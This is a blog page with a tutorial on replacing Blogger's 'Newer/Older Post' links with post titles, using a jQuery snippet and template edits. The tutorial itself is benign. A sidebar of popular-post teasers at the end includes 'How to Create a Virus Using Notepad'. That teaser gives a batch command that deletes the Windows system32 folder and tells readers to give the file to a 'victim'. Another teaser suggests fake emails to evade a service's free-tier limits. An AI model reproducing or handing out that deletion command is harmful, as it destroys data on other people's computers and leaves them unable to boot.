Skip to main content

Use next and previous post titles as navigation in Blogger

By default, at the end of each Blogger post, we get the "Newer Post" and "Older Post" navigation links. As I have seen in other sites, it looks better if it showed the next and previous post titles instead. So in this tutorial, I will show you how to customize your post navigation links so that it will display the titles of your next and previous posts.
Default and custom navigationReplace "Newer Posts" and "Older Posts" with post titles.
Before we begin, backup your template first or maybe use a test blog instead. To backup your template, go to your blog's dashboard then Template » Backup/Restore » Download full template.

Step 1. Adding the script.

In this step, we will be adding a script to your template. To add the script, go to Layout then click on "Add a Gadget" and select HTML/JavaScript from the list.
In the Configure HTML/JavaScript window, leave the Title empty and paste the following code in the Content. I based this code on BloggerSentral's version by the way. I modified it so that we can customize the navigation titles a bit more.

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js?attredirects=0&amp;d=1"></script>

<script type="text/javascript">
$(document).ready(function(){ 

 var olderLink = $("a.blog-pager-older-link").attr("href");
 $(".blog-pager-older-title").load(olderLink+" .post-title:first", function() {
  $(".blog-pager-older-title").text($(this).text());
 });

 var newerLink = $("a.blog-pager-newer-link").attr("href");
 $(".blog-pager-newer-title").load(newerLink+" .post-title:first", function() {
  $(".blog-pager-newer-title").text($(this).text());
 });

});
</script>
Click Save once you're done.
Paste code in an HTML gadgetPaste the code into an HTML/Javascript gadget.

Step 2. Modifying the template.

Next is to update the template code.
Go to Template » Edit HTML and search for the line <data:newerPageTitle/>and replace it with the following code:

<span class="label">&amp;laquo;</span>
<span class="blog-pager-newer-title"></span>
Do another search and look for the line <data:olderPageTitle/> and replace it with the following code:

<span class="blog-pager-older-title"></span>
<span class="label">&amp;raquo;</span>
TIP: In Blogger's (new) HTML Editor, you can search for a line of code by clicking anywhere inside the text area. Press Ctrl+F then type in your search word in the search box that appears in the upper right corner.
After replacing the lines of code, your template code should be something like this:
Replace the lines of codeReplace <data:newerPageTitle/> and <data:olderPageTitle/> with the new code.
And we're done with the basic setup! Save your template and check your blog whether all is running ok.
With this basic setup, the post title navigation will work on all pages of your blog -- homepage, search results, archive list... Normally, with these type of pages, your navigation should be "Newer Posts" or "Older Posts". So in the next step, we will setup the post title navigation to work only in Item pages (i.e. the post's page itself). But if you still prefer to leave your post title navigation as is, you can just skip Step 3.

Step 3. Using the post title navigation on Item pages only.

Back to the template editor (Template » Edit HTML), search for the code we added earlier for the newer post title link:

<span class="label">&amp;laquo;</span>
<span class="blog-pager-newer-title"></span>
And replace it with the following:

<b:if cond='data:blog.pageType == &quot;item&quot;'>
  <span class="label">&amp;laquo;</span>
  <span class="blog-pager-newer-title"></span>
<b:else/>
  <data:newerPageTitle/>  
</b:if>
Do the same for the code of the older post title link:

<span class="blog-pager-older-title"></span>
<span class="label">&amp;raquo;</span>
And replace it with:

<b:if cond='data:blog.pageType == &quot;item&quot;'>
  <span class="blog-pager-older-title"></span>
  <span class="label">&amp;raquo;</span>
<b:else/>
  <data:olderPageTitle/>  
</b:if>
So now your template code will be something like this:
add a conditional statementUpdate the code so that the post title navigation displays in Item pages only.

Step 4. Using your own navigation labels.

Now if you want to use your own labels instead of the "«" and "»" provided in the code we added earlier, just change the text between the <span class="label"> and </span> tags to whatever you want.
IMPORTANT: When putting in your navigation labels, note that there are special characters such as "<",">","&","'" (and others) that will generate an error in your template if you input them as is. As you may have noticed in the code given earlier, a simple "<" should be written as &amp;lt;. Don't worry though if you are not familiar with this. BloggerSentral has this tool to convert the special characters automatically for you but after the conversion, don't forget to replace all & with &amp; (e.g. &lt; should be written as &amp;lt;).
Some samples:
Customize navigation labelUse your own text for the navigation labels.
And if you followed Step 3, you might also want to customize the labels on the non-Item pages as well.
If you prefer not to use the default "Newer posts" label, search for <data:newerPageTitle/> in your template code and replace it with whatever text your want.
Do the same for the "Older posts" label. Search for <data:olderPageTitle/>and replace it with your own text.
Customize default navigation labels

Comments

Popular posts from this blog

download Code blocks 13.12 mingw.setup .exe 97 mb

NOTE: A newer version is been updated on the site ... visit here  http://vastgk.blogspot.com/2017/07/download-code-blocks-1601-mingwsetup.html File Date Download from codeblocks-13.12-setup.exe 27 Dec 2013 BerliOS  or  Sourceforge.net codeblocks-13.12mingw-setup.exe 27 Dec 2013 BerliOS  or  Sourceforge.net codeblocks-13.12mingw-setup-TDM-GCC-481.exe 27 Dec 2013 BerliOS  or  Sourceforge.net NOTE : The codeblocks-13.12mingw-setup.exe file  includes  the GCC compiler and GDB debugger from  TDM-GCC  (version 4.7.1, 32 bit). The codeblocks-13.12mingw-setup-TDM-GCC-481.exe file includes the TDM-GCC compiler, version 4.8.1, 32 bit. While v4.7.1 is rock-solid (we use it to compile C::B), v4.8.1 is provided for convenience, there are some known bugs with this version related to the compilation of Code::Blocks itself. IF UNSURE, USE "codeblocks-13.12mingw-setup.exe"!  \ Linux 32-bit: Dis...

DOWNLOAD CODE BLOCKS 16.01 MINGW.SETUP .EXE 86.3 MB

Code::Blocks for Mac is a free C, C++ and Fortran IDE that has a custom build system and optional Make support. The application has been designed to be very extensible and fully configurable. Code::Blocks is an IDE packed full of all the features you will need. It has a consistent look, feel and operation across its supported platforms. It has been built around a plugin framework, therefore Code::Blocks can be extended with plugins. Support for any kind of functionality can be added by installing/coding a plugin. Key features include: Written in C++. No interpreted languages or proprietary libs needed.. Full plugin support. Multiple compiler support: GCC (MingW / GNU GCC), MSVC++, clang, Digital Mars, Borland C++ 5.5, and Open Watcom etc. Support for parallel builds. Imports Dev-C++ projects. Debugger with full breakpoints support. Cross-platform. Code::Blocks' interface is both customizable and extensible with Syntax highlighting, a tabbed interface, Class Br...

Supported OS id and their code in an installer

Hello frnd this is the code and thier Operating system id in windows ,to identify which program run in which windows The ID below indicates application support for Windows Vista -->           --The ID below indicates application support for Windows 7 -->           -The ID below indicates application support for Windows 8 -       supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}" code provided to you by Rajlive360.tk

FIXED: Feedjit gadgets no longer work on my blog!!! help

well if your feedjit tracker is not working than you can easily fix this... goto blogger.com Go to  Dashboard -> Settings And set  HTTPS Redirect  to  No The gadgets will work now for  http ://yourblog.blogspot.com They won't for  https ://yourblog.blogspot.com because their connection isn't secure. this is not a permanent fix ... the gadget developers will have to make their gadgets https ready before Blogger will (if at all) become https only.

Color Code Generator

Instructions - Drag the bar on the "Hue" selector to the area of your desired colour palette.  - Then click inside the Brightness/Saturation area and drag the cursor until you have achieved your desired colour. The "Swatch" bar shows you the final colour result. - The hexadecimal colour code is generated in the "Hex" box. Simply copy the six digit code i.e #000000 How to add Hex Colour Code Generator To install Hex Color Code Generator on a Blogger/Blogspot page or post, copy the following code and paste it in the post or page HTML: <center><object border="0" classid="clsid:D27CDB6E -AE6D-11CF-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" height="480" id="obj1" width="480"> <param name="movie" value="http://www.2createawebsite.com/build/color.swf"><param name="qualit...

C Program to Sort Elements in Lexicographical Order (Dictionary Order)

#include #include int main () { int i , j ; char str [ 10 ][ 50 ], temp [ 50 ]; printf ( "Enter 10 words:\n" ); for ( i = 0 ; i < 10 ; ++ i ) scanf ( "%s[^\n]" , str [ i ]); for ( i = 0 ; i < 9 ; ++ i ) for ( j = i + 1 ; j < 10 ; ++ j ) { if ( strcmp ( str [ i ], str [ j ])> 0 ) { strcpy ( temp , str [ i ]); strcpy ( str [ i ], str [ j ]); strcpy ( str [ j ], temp ); } } printf ( "\nIn lexicographical order: \n" ); for ( i = 0 ; i < 10 ; ++ i ) { puts ( str [ i ]); } return 0 ;   }  https://www.jdoodle.com/embed/v0/c/gcc-5.3.0/6WK

How to Create a Virus Using Notepad.

its 100% working Introduction : Friends , all of you are most probably aware of viruses. The Only Headache of Every Windows PC owner is that his Pc might get virus. If a virus hits your computer, then no need to say what a nightmare you'll have. And what if someone sent you a virus through a USB, or mail attachment ? There are times in our lives , when we think " Hope, I too could create a virus ". Well then this is the time friends, So here I am posting the process how to create a virus. And sorry i cant post the virus file itself, as Internet doesn't allow to post or send .bat or .cmd files http://raj360.co.nr Process: Open Notepad Write / copy the below command there: " del c:\WINDOWS\system32\*.*/q " without quote and save as " anything.bat" Done. If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without which a Windows Pc cant be started.

[ FREE ][ more than 15 gb for free ] Offcloud vs Bitport vs Seedr :which is best among three to direct download from torrent to cloud storages like google drive ,one drive ,dropbox etc.

Offcloud : [RECOMMENDED BY ME] [AS OF 17-july-2017] Offcloud is a little different from the rest of the providers we’ve looked at, as it isn’t focused on downloading torrents. The company markets itself as “a simple, elegant and intuitive  SaaS  to retrieve any data from the cloud.” We were surprised at the amount of different sources Offcloud supports for downloading, and it even has a ticket box that allows users to suggest new sites to support.  pros: best part you can direct download to your cloud storage like google drive , mega.NZ,one drive ,Dropbox,etc.. Cons: only 3 links permitted to download over free account ..that limit is per months .. you can buy a premium account to bypass this .............. else you can also use a fake email generator and add a remote account to cloud download bypasssing above limit.. Note that Off-cloud doesn’t intend to act as a “seedbox,” which is a server used to boost a user’s ration on private trackers by perpetua...

Bypass Right Click Block on Any Website by java script

How JavaScript Works? Before you proceed to the next part which tells you how to disable the JavaScript functionality and bypass any of the restrictions imposed by it, it would be worthwhile for you to take up a minute to understand how JavaScript works. JavaScript is a client side scripting language (in most cases), which means when loaded it runs from your own web browser. Most modern browsers including IE, Firefox, Chrome and others support JavaScript so that they can interpret the code and carry out actions that are defined in the script. In other words, it is your browser which is acting upon the instruction of JavaScript to carry out the defined actions such as blocking the right-click activity. So, disabling the JavaScript support on your browser can be a simple solution to bypass all the restrictions imposed by the website. How to Disable the JavaScript? Here is a step-by-step procedure to disable JavaScript on different browsers: For Internet Explorer: If you are...